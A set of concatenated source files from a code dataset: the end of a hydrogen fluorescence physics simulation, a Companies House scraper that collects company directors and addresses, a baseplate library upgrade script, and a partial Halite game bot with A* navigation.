thèse)\r\n r_perp_2 = n**2*(5*n**2+1-3*L*(L+1))*(L**2+L-1+mL**2)/((2*L-1)*(2*L+3))\r\n return r_perp_2 * qe**2*a0**2/(8*me*h) * 1e-14 # Hz/T² -> MHz/G²\r\n\r\ndef H_Stark(B): # en MHz/(km/s) (Hagel thèse, Glass thèse)\r\n #base = 'LJmJmI'\r\n H = np.zeros((N,N))\r\n for n, niv1 in enumerate(LJmJmI()):\r\n for m, niv2 in enumerate(LJmJmI()):\r\n if niv1.mI != niv2.mI:\r\n H[n,m] = 0\r\n else:\r\n H[n,m] = R(niv1.n, niv1.L, niv2.n, niv2.L) \\\r\n *A(niv1.L,niv1.I,niv1.J,niv1.mJ,\r\n niv2.L,niv2.I,niv2.J,niv2.mJ) \\\r\n *a0*qe*B/h * 1e-7 # Hz/(T*m/s) -> MHz/(G*km/s)\r\n return H\r\n \r\ndef A(L1,I1,J1,mJ1,L2,I2,J2,mJ2):\r\n # Polarisation du champ motionnel normale à l'axe de quantification\r\n k, S = 1, 1/2 # ordre, spin\r\n return np.sum([-q*np.sin(np.pi/2)/np.sqrt(2) \\\r\n * (-1)**(S+mJ1) \\\r\n * np.sqrt((2*J1+1)*(2*J2+1)*(2*L1+1)*(2*L2+1)) \\\r\n * wigner6j(J1,k,J2,L2,S,L1) \\\r\n * wigner3j(J1,k,J2,-mJ1,q,mJ2) \\\r\n * wigner3j(L1,k,L2,0,0,0) for q in [-1,1]]) # q = delta_mI = +-1\r\n \r\ndef R(n1,L1,n2,L2):\r\n if n1==n2 and np.abs(L1-L2)==1:\r\n return 3/2*n1*np.sqrt(n1**2-max(L1,L2)**2)\r\n else:\r\n return 0\r\n\r\ndef H_2photons(rabi):\r\n H = np.zeros((N,N),dtype=complex) \r\n for i,a in enumerate(LJmJmI()):\r\n for j,d in enumerate(LJmJmI()):\r\n if a.n!=d.n and a.L==d.L and a.mJ==d.mJ and a.mI==d.mI:\r\n H[i,j] = rabi\r\n return H\r\n \r\ndef convert(H,P):\r\n return np.dot(P,np.dot(H,P.transpose()))\r\n\r\n##### POPULATIONS ET FLUORESCENCE #####\r\ndef matrice_densite(f=0,B=180,v=3,rabi=0.01):\r\n H = np.zeros((N,N),dtype=complex)\r\n H += convert(H_SFHF(),LJF_vers_LJI()) \\\r\n + convert(H_Zeeman(B),LSI_vers_LJI()) \\\r\n + H_Stark(B)*v \\\r\n + H_2photons(rabi)\r\n \r\n for i,u in enumerate(LJFmF()):\r\n if getattr(u,'n')==1 and getattr(u,'mF')==1:\r\n E1S = H_SFHF()[i,i]\r\n if getattr(u,'n')==3 and getattr(u,'L')==0 and getattr(u,'mF')==1:\r\n E3S = H_SFHF()[i,i]\r\n f += (E3S - E1S)*(1 + (v*1E3)**2/(2*c**2)) # avec v en km/s\r\n\r\n C = np.zeros((N,N),dtype=complex)\r\n for i,a in enumerate(LJmJmI()):\r\n for j,d in enumerate(LJmJmI()):\r\n C[i,j] = -1j/(4*np.pi)*(gamma[(a.n,a.L)] + gamma[(d.n,d.L)])\r\n if a.n==1 and d.n==3:\r\n C[i,j] += f\r\n if a.n==3 and d.n==1:\r\n C[i,j] -= f\r\n \r\n A = np.zeros((N**2,N**2),dtype=complex)\r\n B = np.zeros(N**2,dtype=complex) \r\n k = 0\r\n for i in range(N):\r\n for j in range(N):\r\n A_ij = np.zeros((N,N),dtype=complex)\r\n A_ij[:,j] = H[i,:].transpose()\r\n A_ij[i,:] -= H[:,j].transpose()\r\n A_ij[i,j] += C[i,j]\r\n A[k,:] = A_ij.reshape((1,N**2))\r\n k += 1\r\n for i in range(4): # si les niveaux 1S sont les 4 premiers de la base\r\n B[i*(N+1)] += -1j\r\n\r\n X = np.linalg.solve(A,B)\r\n return X.reshape((N,N))\r\n\r\ndef coefv(v,sigma,vo): #(Olander70, Arnoult thèse, Galtier thèse)\r\n xd = 6.5e-6 # taille de la zone de détection/2 en km\r\n zr = 35e-6 # longueur de Rayleigh en km\r\n taue = 1e-6/(2*np.pi) # durée de vie en s \r\n z = v/(np.sqrt(2)*sigma)\r\n psi = (z*np.exp(-z**2)+np.sqrt(np.pi)/2.*(1+2*z**2)*erf(z)) \\\r\n /(np.sqrt(2*np.pi)*z**2)\r\n K = 0.01\r\n maxwell = 4./np.sqrt(np.pi)*z**2*np.exp(-z**2)\r\n olander = np.sqrt(np.pi)/2.*np.sqrt(erf(psi/(2*K)))/np.sqrt(psi/(2*K))\r\n olivier = np.arctan((xd-v*taue)/zr)+np.arctan((xd+v*taue)/zr)\r\n return maxwell*olander*olivier*np.exp(-vo/v)\r\n\r\n#def forme_de_raie(B,sigma,v0):\r\n# debut = time.time()\r\n# frequences = np.linspace(-5,5,1001) # en MHz\r\n# vitesses = np.linspace(0.1,10.1,101) # en km/s (v non nul pour coefv)\r\n# normalisation = quad(lambda x:coefv(x,sigma,vo),0.1,10.1)[0] \r\n# fluo = np.zeros(len(frequences))\r\n# fluo_v = np.zeros(len(vitesses))\r\n# for i,delta in enumerate(frequences):\r\n# for j,v in enumerate(vitesses):\r\n# w = 'delta E 1S-3S avec LS' + v**2*nu0/(2*c**2)\r\n# pop = np.diag(matrice_densite(w,B,v))[4:,4:]\r\n# fluo_v[j] = gamma[(3,0)]*np.sum(pop[:4]) \\\r\n# + branch_3P*gamma[(3,1)]*np.sum(pop[4:]) \\\r\n# * coefv(v,sigma,v0)\r\n# fluo[i] = quad(interp1d(vitesses,fluo_v[:,k],kind='cubic'),0.1,10.1)[0]\r\n# fluo[i] *= 1/normalisation\r\n# print 'Calcul fini pour B =',B,', sigma =',sigma,', v0 =',vo, \\\r\n# ', en ',int(time.time()-debut),' s'\r\n# return frequences,fluo*1000", "sub_path": "fluo3S_H_juin17_II.py", "file_name": "fluo3S_H_juin17_II.py", "file_ext": "py", "file_size_in_byte": 8022, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.zeros", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 99, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 141, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.linalg.solve", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 161, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 167, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 169, "usage_type": "attribute"}, {"api_name": "scipy.special.erf", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 170, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 170, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 172, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 173, "usage_type": "attribute"}, {"api_name": "scipy.special.erf", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.arctan", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 175, "usage_type": "call"}]} +{"seq_id": "506795433", "text": "#!/usr/bin/env python\nfrom __future__ import print_function\n\nimport os\nimport csv\nimport sys\nimport json\nimport datetime\nimport argparse\nfrom time import sleep\nfrom requests import HTTPError\n\nfrom companies_house.api import CompaniesHouseAPI\n\n_NUM_SC_PREF = \"SC\"\n_LAST_FILE_DEFAULT = 'last.json.sample.sample'\n_RESULT_CSV_DEFAULT = \"result.csv\"\n_API_KEY = os.getenv('API_KEY')\n\n\n# ------------------------------------------------------------------------------\n\ndef get_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-l\", \"--last\", action='store', dest='last_file',\n help=\"last file path\", default=_LAST_FILE_DEFAULT)\n parser.add_argument(\"-o\", \"--out\", action='store', dest='result_file',\n help=\"Where result will be stored\", default=_RESULT_CSV_DEFAULT)\n parser.add_argument(\"-r\", \"--ratelimit-freeze\", action='store', dest='ratelimit',\n help=\"Where result will be stored\", default=50)\n parser.add_argument(\"-e\", \"--empty-limit\", action='store', dest='empty_limit',\n help=\"How much empty companies threat as end of list\", default=20)\n\n return parser.parse_args()\n\n\n# ------------------------------------------------------------------------------\n\ndef get_director(number: str, ch: CompaniesHouseAPI) -> str:\n director: str = \"\"\n psc = ch.list_company_officers(company_number=number)\n if not psc:\n psc = ch.list_company_persons_with_significant_control(company_number=number)\n if not psc:\n psc = ch.list_company_persons_with_significant_control_statements(company_number=number)\n if not psc:\n return None\n\n if psc.get(\"active_count\") == 1:\n officers = psc.get(\"items\")\n for officer in officers:\n if officer.get(\"officer_role\") == \"director\":\n director = officer.get(\"name\")\n return director\n\n\n# ------------------------------------------------------------------------------\n\n# noinspection PyPackageRequirements,PyPackageRequirements\ndef get_address(company: dict) -> tuple:\n registered_office_address = company.get(\"registered_office_address\")\n address = str(registered_office_address.get(\"address_line_1\"))\n country = str(registered_office_address.get(\"country\"))\n city = str(registered_office_address.get(\"locality\"))\n postal_code = str(registered_office_address.get(\"postal_code\"))\n\n return address, country, city, postal_code\n\n\n# ------------------------------------------------------------------------------\n\ndef get_company_details(number: str, ch: CompaniesHouseAPI) -> list:\n company: dict = {}\n res = None\n try:\n company = ch.get_company(company_number=number)\n except HTTPError as e:\n print(\"Companies House API returned error %sn \" % str(e)) # Sometimes companies house returns 502\n sleep(15) # we ill just wait 15 seconds and than retry\n company = ch.get_company(company_number=number)\n if not company:\n res = None\n if company: # checking for empty dict\n creation_date = datetime.datetime.strptime(company.get(\"date_of_creation\"), \"%Y-%m-%d\").date()\n time_delta = (datetime.datetime.now().date() - creation_date).days\n print(\"Company was registered \" + str(time_delta) + \" days ago\")\n if company.get(\"company_status\") == \"active\" and \"registered_office_address\" in company and company.get(\n 'type') == \"ltd\":\n director = get_director(number, ch)\n name = company[\"company_name\"]\n if director:\n\n address, country, city, postal_code = get_address(company)\n print(name)\n print(director)\n print(address)\n print(number)\n res = [[str(name).replace(',', ' '),\n str(director).replace(',', ' '),\n str(address).replace(',', ' '),\n str(country).replace(',', ' '),\n str(city).replace(',', ' '),\n str(postal_code).replace(',', ' ')]]\n return res\n else:\n res = -1\n print(str(number) + \" company does not exist or meet our requirements\")\n return res\n\n\n# ------------------------------------------------------------------------------\n\n\ndef main():\n args = get_args()\n ch = CompaniesHouseAPI(_API_KEY, int(args.ratelimit))\n _LAST_NUM_SC = 0\n _LAST_NUM_BR = 0\n empty_counter = 0\n empty_limit = int(args.empty_limit)\n with open(args.last_file, 'r+') as last_file:\n data = json.load(last_file)\n _LAST_NUM_BR = int(data[\"british_company_last_number\"])\n _LAST_NUM_SC = int(data[\"scottish_company_last_number\"])\n\n # British companies\n with open(args.result_file, \"a+\", newline='') as res:\n res.write(\"Company, Fullname, Address, Country, City, Postal Code\\n\")\n writer = csv.writer(res)\n while True:\n _LAST_NUM_BR += 1\n details = get_company_details(_LAST_NUM_BR, ch)\n print (details)\n if not details: # happens only if API returned http error or company doesn't meet our requirements\n continue\n if details == -1:\n print (\"Empty counter 1 \" + str(empty_counter))\n\n if empty_counter == empty_limit:\n _LAST_NUM_BR = _LAST_NUM_BR - 1\n print (\"Empty counter 2 \" + str(empty_counter))\n break\n else:\n empty_counter += 1\n continue\n empty_counter = 0\n writer.writerows(details)\n\n # Scottish companies\n empty_counter = 0\n while True:\n _LAST_NUM_SC += 1\n details = get_company_details(\"SC\" + str(_LAST_NUM_SC), ch)\n if not details:\n continue\n if details == -1:\n if empty_counter == empty_limit:\n _LAST_NUM_SC = _LAST_NUM_SC - 1\n break\n else:\n empty_counter += 1\n continue\n empty_counter = 0\n writer.writerows(details)\n data[\"british_company_last_number\"] = _LAST_NUM_BR - empty_limit # because we are checking 100 extra numbers\n data[\"scottish_company_last_number\"] = _LAST_NUM_SC - empty_limit\n last_file.seek(0)\n last_file.truncate()\n json.dump(data, last_file)\n exit(0)\n\n# ------------------------------------------------------------------------------\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 6823, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.getenv", "line_number": 18, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 24, "usage_type": "call"}, {"api_name": "companies_house.api.CompaniesHouseAPI", "line_number": 39, "usage_type": "name"}, {"api_name": "companies_house.api.CompaniesHouseAPI", "line_number": 72, "usage_type": "name"}, {"api_name": "requests.HTTPError", "line_number": 77, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 79, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 84, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 84, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 85, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 85, "usage_type": "attribute"}, {"api_name": "companies_house.api.CompaniesHouseAPI", "line_number": 116, "usage_type": "call"}, {"api_name": "json.load", "line_number": 122, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 129, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 169, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 176, "usage_type": "call"}]} +{"seq_id": "555057515", "text": "import logging\nimport re\n\nfrom pathlib import Path\nfrom typing import Match\nfrom typing import Optional\n\nfrom ...python_version import PythonVersion\nfrom ...refactor import refactor_python_files\nfrom ...requirements import RequirementsFile\nfrom ...wheelhouse import Wheelhouse\n\n\nRENAMES = {\n \"baseplate._compat\": None,\n \"baseplate.config\": \"baseplate.lib.config\",\n \"baseplate.context\": \"baseplate.clients\",\n \"baseplate.core.AuthenticationToken\": \"baseplate.lib.edge_context.AuthenticationToken\",\n \"baseplate.core.AuthenticationTokenValidator\": \"baseplate.lib.edge_context.AuthenticationTokenValidator\",\n \"baseplate.core\": \"baseplate\",\n \"baseplate.core.EdgeRequestContext\": \"baseplate.lib.edge_context.EdgeRequestContext\",\n \"baseplate.core.EdgeRequestContextFactory\": \"baseplate.lib.edge_context.EdgeRequestContextFactory\",\n \"baseplate.core.InvalidAuthenticationToken\": \"baseplate.lib.edge_context.InvalidAuthenticationToken\",\n \"baseplate.core.NoAuthenticationError\": \"baseplate.lib.edge_context.NoAuthenticationError\",\n \"baseplate.core.OAuthClient\": \"baseplate.lib.edge_context.OAuthClient\",\n \"baseplate.core.Service\": \"baseplate.lib.edge_context.Service\",\n \"baseplate.core.Session\": \"baseplate.lib.edge_context.Session\",\n \"baseplate.core.User\": \"baseplate.lib.edge_context.User\",\n \"baseplate.core.ValidatedAuthenticationToken\": \"baseplate.lib.edge_context.ValidatedAuthenticationToken\",\n \"baseplate.crypto\": \"baseplate.lib.crypto\",\n \"baseplate.crypto.constant_time_compare\": \"hmac.compare_digest\",\n \"baseplate.datetime\": \"baseplate.lib.datetime\",\n \"baseplate.diagnostics\": \"baseplate.observers\",\n \"baseplate.diagnostics.tracing.publisher\": \"baseplate.sidecars.trace_publisher\",\n \"baseplate.error_reporter_from_config\": \"baseplate.observers.sentry.error_reporter_from_config\",\n \"baseplate.events\": \"baseplate.lib.events\",\n \"baseplate.events.publisher\": \"baseplate.sidecars.event_publisher\",\n \"baseplate.events.publisher.gzip_compress\": \"gzip.compress\",\n \"baseplate.events.publisher.V1Batch\": None,\n \"baseplate.events.queue\": \"baseplate.lib.events\",\n \"baseplate.events.queue.Event\": None,\n \"baseplate.events.queue.FieldKind\": None,\n \"baseplate.events.queue.serialize_v1_event\": None,\n \"baseplate.experiments\": \"baseplate.lib.experiments\",\n \"baseplate.file_watcher\": \"baseplate.lib.file_watcher\",\n \"baseplate.frameworks.wrapped_context\": None,\n \"baseplate.integration\": \"baseplate.frameworks\",\n \"baseplate.integration.pyramid.TRACE_HEADER_NAMES\": None,\n \"baseplate.integration.thrift._extract_trace_info\": None,\n \"baseplate.integration.thrift.TRACE_HEADER_NAMES\": None,\n \"baseplate.integration.thrift.RequestContext\": \"baseplate.RequestContext\",\n \"baseplate.live_data\": \"baseplate.lib.live_data\",\n \"baseplate.live_data.watcher\": \"baseplate.sidecars.live_data_watcher\",\n \"baseplate.message_queue\": \"baseplate.lib.message_queue\",\n \"baseplate.metrics\": \"baseplate.lib.metrics\",\n \"baseplate.metrics_client_from_config\": \"baseplate.lib.metrics.metrics_client_from_config\",\n \"baseplate.queue_consumer\": \"baseplate.frameworks.queue_consumer\",\n \"baseplate.queue_consumer.ConsumerContext\": \"baseplate.RequestContext\",\n \"baseplate.random\": \"baseplate.lib.random\",\n \"baseplate.ratelimit\": \"baseplate.lib.ratelimit\",\n \"baseplate.requests\": \"baseplate.lib._requests\",\n \"baseplate.retry\": \"baseplate.lib.retry\",\n \"baseplate.secrets\": \"baseplate.lib.secrets\",\n \"baseplate.secrets.fetcher\": \"baseplate.sidecars.secrets_fetcher\",\n \"baseplate.secrets.store\": \"baseplate.lib.secrets\",\n \"baseplate.service_discovery\": \"baseplate.lib.service_discovery\",\n \"baseplate.thrift_pool\": \"baseplate.lib.thrift_pool\",\n \"baseplate.tracing_client_from_config\": \"baseplate.observers.tracing.tracing_client_from_config\",\n \"baseplate._utils\": \"baseplate.lib\",\n \"baseplate._utils.Batch\": \"baseplate.sidecars.Batch\",\n \"baseplate._utils.BatchFull\": \"baseplate.sidecars.BatchFull\",\n \"baseplate._utils.RawJSONBatch\": \"baseplate.sidecars.RawJSONBatch\",\n \"baseplate._utils.SerializedBatch\": \"baseplate.sidecars.SerializedBatch\",\n \"baseplate._utils.TimeLimitedBatch\": \"baseplate.sidecars.TimeLimitedBatch\",\n}\n\n\nBASEPLATE_NAME_RE = re.compile(r\"(?Pbaseplate\\.(?:[A-Za-z_][A-Za-z0-9_]*\\.?)+)\")\n\n\nclass NameRemovedError(Exception):\n def __init__(self, name: str):\n super().__init__(\n f\"{repr(name)} does not exist anymore. Remove references to it.\"\n )\n\n\ndef get_new_name(name: str) -> Optional[str]:\n \"\"\"Find the most appropriate replacement for a name.\n\n This prefers longest (more-specific) matches over shorter ones. If the\n symbol does not need to be renamed, None is returned.\n\n \"\"\"\n for old, new in sorted(RENAMES.items(), key=lambda i: len(i[0]), reverse=True):\n if name == old or name.startswith(old + \".\"):\n if new is None:\n raise NameRemovedError(old)\n\n try:\n return name.replace(old, new, 1)\n except KeyError:\n return None\n return None\n\n\ndef replace_module_references(corpus: str) -> str:\n \"\"\"Replace references to modules in a body of text.\"\"\"\n\n def replace_name(m: Match[str]) -> str:\n old_name = m[\"name\"]\n try:\n new_name = get_new_name(old_name)\n except NameRemovedError:\n new_name = None\n return new_name or old_name\n\n return BASEPLATE_NAME_RE.sub(replace_name, corpus, re.MULTILINE)\n\n\ndef update(\n root: Path,\n python_version: Optional[PythonVersion],\n requirements_file: RequirementsFile,\n wheelhouse: Wheelhouse,\n) -> int:\n if python_version:\n if python_version < (3, 6):\n logging.error(\n \"Baseplate 1.0 requires Python 3.6+. Please upgrade Python first.\"\n )\n return 1\n else:\n logging.warning(\n \"Baseplate 1.0 requires Python 3.6+. Ensure Python is new enough.\"\n )\n\n refactor_python_files(root, __name__)\n\n wheelhouse.ensure(requirements_file, \"cassandra-driver>=3.13.0\")\n wheelhouse.ensure(requirements_file, \"cqlmapper>=0.2.0\")\n wheelhouse.ensure(requirements_file, \"gevent>=1.3\")\n wheelhouse.ensure(requirements_file, \"hvac>=0.2.17\")\n wheelhouse.ensure(requirements_file, \"kazoo>=2.5.0\")\n wheelhouse.ensure(requirements_file, \"kombu>=4.0.0\")\n wheelhouse.ensure(requirements_file, \"posix_ipc>=1.0.0\")\n wheelhouse.ensure(requirements_file, \"pyjwt>=1.6.0\")\n wheelhouse.ensure(requirements_file, \"pymemcache>=1.3.0,<=2.0.0\")\n wheelhouse.ensure(requirements_file, \"pyramid>=1.9.0\")\n wheelhouse.ensure(requirements_file, \"redis>=2.10.0,<=3.0.0\")\n wheelhouse.ensure(requirements_file, \"requests>=2.21.0\")\n wheelhouse.ensure(requirements_file, \"sqlalchemy>=1.1.0\")\n wheelhouse.ensure(requirements_file, \"thrift>=0.12.0\")\n\n for path in root.glob(\"**/*\"):\n if path.suffix in (\".ini\", \".txt\", \".md\", \".rst\"):\n try:\n old = path.read_text(\"utf8\")\n new = replace_module_references(old)\n if new != old:\n logging.info(\"Updated references in %s\", path)\n with path.open(\"w\", encoding=\"utf8\") as f:\n f.write(new)\n except OSError as exc:\n logging.warning(\"Can't fix references in %s: %s\", path, exc)\n\n return 0\n", "sub_path": "baseplate.py-upgrader/baseplate_py_upgrader/fixes/v1_0/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 7440, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "re.compile", "line_number": 78, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 88, "usage_type": "name"}, {"api_name": "typing.Match", "line_number": 110, "usage_type": "name"}, {"api_name": "re.MULTILINE", "line_number": 118, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 122, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 123, "usage_type": "name"}, {"api_name": "python_version.PythonVersion", "line_number": 123, "usage_type": "name"}, {"api_name": "requirements.RequirementsFile", "line_number": 124, "usage_type": "name"}, {"api_name": "wheelhouse.Wheelhouse", "line_number": 125, "usage_type": "name"}, {"api_name": "logging.error", "line_number": 129, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 134, "usage_type": "call"}, {"api_name": "refactor.refactor_python_files", "line_number": 138, "usage_type": "call"}, {"api_name": "wheelhouse.ensure", "line_number": 140, "usage_type": "call"}, {"api_name": "wheelhouse.ensure", "line_number": 141, "usage_type": "call"}, {"api_name": "wheelhouse.ensure", "line_number": 142, "usage_type": "call"}, {"api_name": "wheelhouse.ensure", "line_number": 143, "usage_type": "call"}, {"api_name": "wheelhouse.ensure", "line_number": 144, "usage_type": "call"}, {"api_name": "wheelhouse.ensure", "line_number": 145, "usage_type": "call"}, {"api_name": "wheelhouse.ensure", "line_number": 146, "usage_type": "call"}, {"api_name": "wheelhouse.ensure", "line_number": 147, "usage_type": "call"}, {"api_name": "wheelhouse.ensure", "line_number": 148, "usage_type": "call"}, {"api_name": "wheelhouse.ensure", "line_number": 149, "usage_type": "call"}, {"api_name": "wheelhouse.ensure", "line_number": 150, "usage_type": "call"}, {"api_name": "wheelhouse.ensure", "line_number": 151, "usage_type": "call"}, {"api_name": "wheelhouse.ensure", "line_number": 152, "usage_type": "call"}, {"api_name": "wheelhouse.ensure", "line_number": 153, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 161, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 165, "usage_type": "call"}]} +{"seq_id": "412009887", "text": "# To add a new cell, type '# %%'\n# To add a new markdown cell, type '# %% [markdown]'\n# %%\nfrom IPython import get_ipython\n\n# %% [markdown]\n# # Execution environment\n\n# %%\nprint(\"Import started\")\nfrom kaggle_environments import make\nfrom kaggle_environments.envs.halite.helpers import *\nimport random\nimport numpy as np\nfrom scipy.optimize import linear_sum_assignment\nfrom queue import PriorityQueue\nprint(\"Import ended\")\n\n# %% [markdown]\n# # Test Environment\n\n# %%\nenvironment = make(\"halite\", configuration={\"size\": 21, \"startingHalite\": 25000}, debug=True)\nagent_count = 4\nenvironment.reset(agent_count)\nstate = environment.state[0]\nboard = Board(state.observation, environment.configuration)\n\n# %% [markdown]\n# # Framework\n# \n# ## Static\n# Static\n# \n# ## Navigation\n# Contains helper functions related to *Points* and *Movement*\n# \n# #### State variables\n# \n# self.next: Numpy array of (SIZE,SIZE) boolean encoded ally unit position on next turn.\n# \n# #### Methods\n# \n# safeMoveTo: \n# A* \"safe\" movement\n# \n# dist: \n# distance between two Points\n# \n# directionTo:\n# returns ShipAction. From start to end\n# \n# ## Calculator\n# Encodes *Board* to numpy array and runs most computationally intensive calculations and heuristics.\n# \n# #### Methods\n# \n# Update: Runs every turn. A pipeline for all calculations.\n# Encode: encodes a board into numpy arrays:\n# \n# #### States\n# \n# shipMap,shipyardMap: \n# 4D tensor, each dimension a matrix boolean encoding ship/shipyards of a single player (the dimension)\n# \n# haliteMap: \n# Matrix of haliteMap\n# \n# enemyShipHalite: \n# Matrix of enemyShips, encoded by amount of Halite. Used to threshold.\n# \n# ally: \n# My ships.\n# \n# controlMap: \n# Heuristic of map control and domination.\n# \n# \n# \n\n# %%\n# Static\nnav, calc = None, None\n\n#TODO: Move CFG to static?\n\n\nclass Navigation:\n\n # Helper\n def __init__(self, board: Board):\n self.CFG = board.configuration\n\n def dist(self, a: Point, b: Point) -> int:\n return min(abs(a.x - b.x), self.CFG.size - abs(a.x - b.x)) + min(abs(a.y - b.y), self.CFG.size - abs(a.y - b.y))\n\n def directionTo(self, s: Point, t: Point) -> ShipAction:\n candidate = [] # [N/S, E/W]\n if s.x - t.x != 0:\n candidate.append(ShipAction.WEST if (s.x - t.x) % self.CFG.size < (t.x - s.x) % self.CFG.size else ShipAction.EAST)\n if s.y - t.y != 0:\n candidate.append(ShipAction.SOUTH if (s.y - t.y) % self.CFG.size < (t.y - s.y) % self.CFG.size else ShipAction.NORTH)\n return random.choice(candidate) if len(candidate) > 0 else None\n\n def unpack(self, n):\n return Point(n // self.CFG.size, n % self.CFG.size)\n\n # Navigation\n def update(self):\n self.next = np.zeros((self.CFG.size,self.CFG.size))\n \n\n def safeMoveTo(self, s : Ship, t : Point): #A* Movement. Suggested move by priority.\n\n sPos = s.position\n\n #1. Obstacle Calculation\n\n #Obstacle are \"walls\" on the nav graph. Consist of the points of\n #Enemy ships with less halite (threshold => enemy block)\n #Enemy shipyards \n #Position of friendly on next turn\n\n #2. Navigation\n\n #A* \n\n #sPos: start position\n #pred: predecessor of a node. (Which point was relaxed to find next point)\n #dist: distance from sPos to point\n #pqMap: maps distances in priority queue to process points \n #t: initally target point. During reconstruction, becomes \"next\" point in A* path\n \n \n #algorithm: starts from sPos, put in priority queue.\n #While priority queue is not empty and target is not found, relax next node in queue.\n #Add adjacent (processPoints) to pq.\n\n #Check if t is reachable (pred not None)\n #If it is, loop back pred until reached sPos to find path.\n #Else, move randomly.\n \n\n #Swapping\n #If bot wishes to stay still but cannot (self.next turn ally boat moves in)\n #Move randomly\n #This means that if the bot has a goal, it will move toward the goal. This includes friendly\n #As obstacles are calculated through self.next.\n #Because movement is sorted in priority, higher priority ships will never get blocked \n #By lower priority.\n\n\n threshold = s.halite\n enemyBlock = np.where(calc.enemyShipHalite <= threshold, 1, 0)\n enemyBlock = enemyBlock + calc.enemyShipyard\n blocked = self.next + enemyBlock\n blocked = np.where(blocked>0,1,0)\n #TODO: Improve obstacle calculation\n\n #Stay still\n if sPos == t:\n #Someone with higher priority needs position, must move\n if self.next[t.x][t.y]:\n for offX, offY in ((0,1),(1,0),(0,-1),(-1,0)):\n processPoint = sPos.translate(Point(offX,offY),self.CFG.size)\n if not blocked[processPoint.x][processPoint.y]:\n self.next[processPoint.x][processPoint.y] = 1\n return self.directionTo(sPos,processPoint)\n self.next[sPos.x][sPos.y] = 1\n return None\n else:\n self.next[sPos.x][sPos.y] = 1\n return None\n\n #A*\n pred = {}\n dist = {}\n pq = PriorityQueue()\n pqMap = {}\n\n pqMap[self.dist(sPos,t)] = [sPos]\n pq.put(self.dist(sPos,t))\n pred[sPos] = sPos\n dist[sPos] = self.dist(sPos,t)\n\n # Main\n\n while not pq.empty():\n if t in dist:\n break\n currentPoint = pqMap.get(pq.get()).pop()\n for offX, offY in ((0,1),(1,0),(0,-1),(-1,0)):\n processPoint = currentPoint.translate(Point(offX,offY),self.CFG.size)\n if blocked[processPoint.x][processPoint.y] or processPoint in dist: \n continue\n dist[processPoint] = dist[currentPoint] + 1\n priority = dist[processPoint] + self.dist(processPoint,t)\n pqMap[priority] = pqMap.get(priority,[])\n pqMap[priority].append(processPoint)\n pq.put(priority)\n pred[processPoint] = currentPoint\n \n #TODO: Catch this exception. Or make sure this never happens. Don't just move randomly.\n if not t in pred:\n #Random move\n block = 0\n for offX, offY in ((0,1),(1,0),(0,-1),(-1,0)):\n processPoint = sPos.translate(Point(offX,offY),self.CFG.size)\n if not 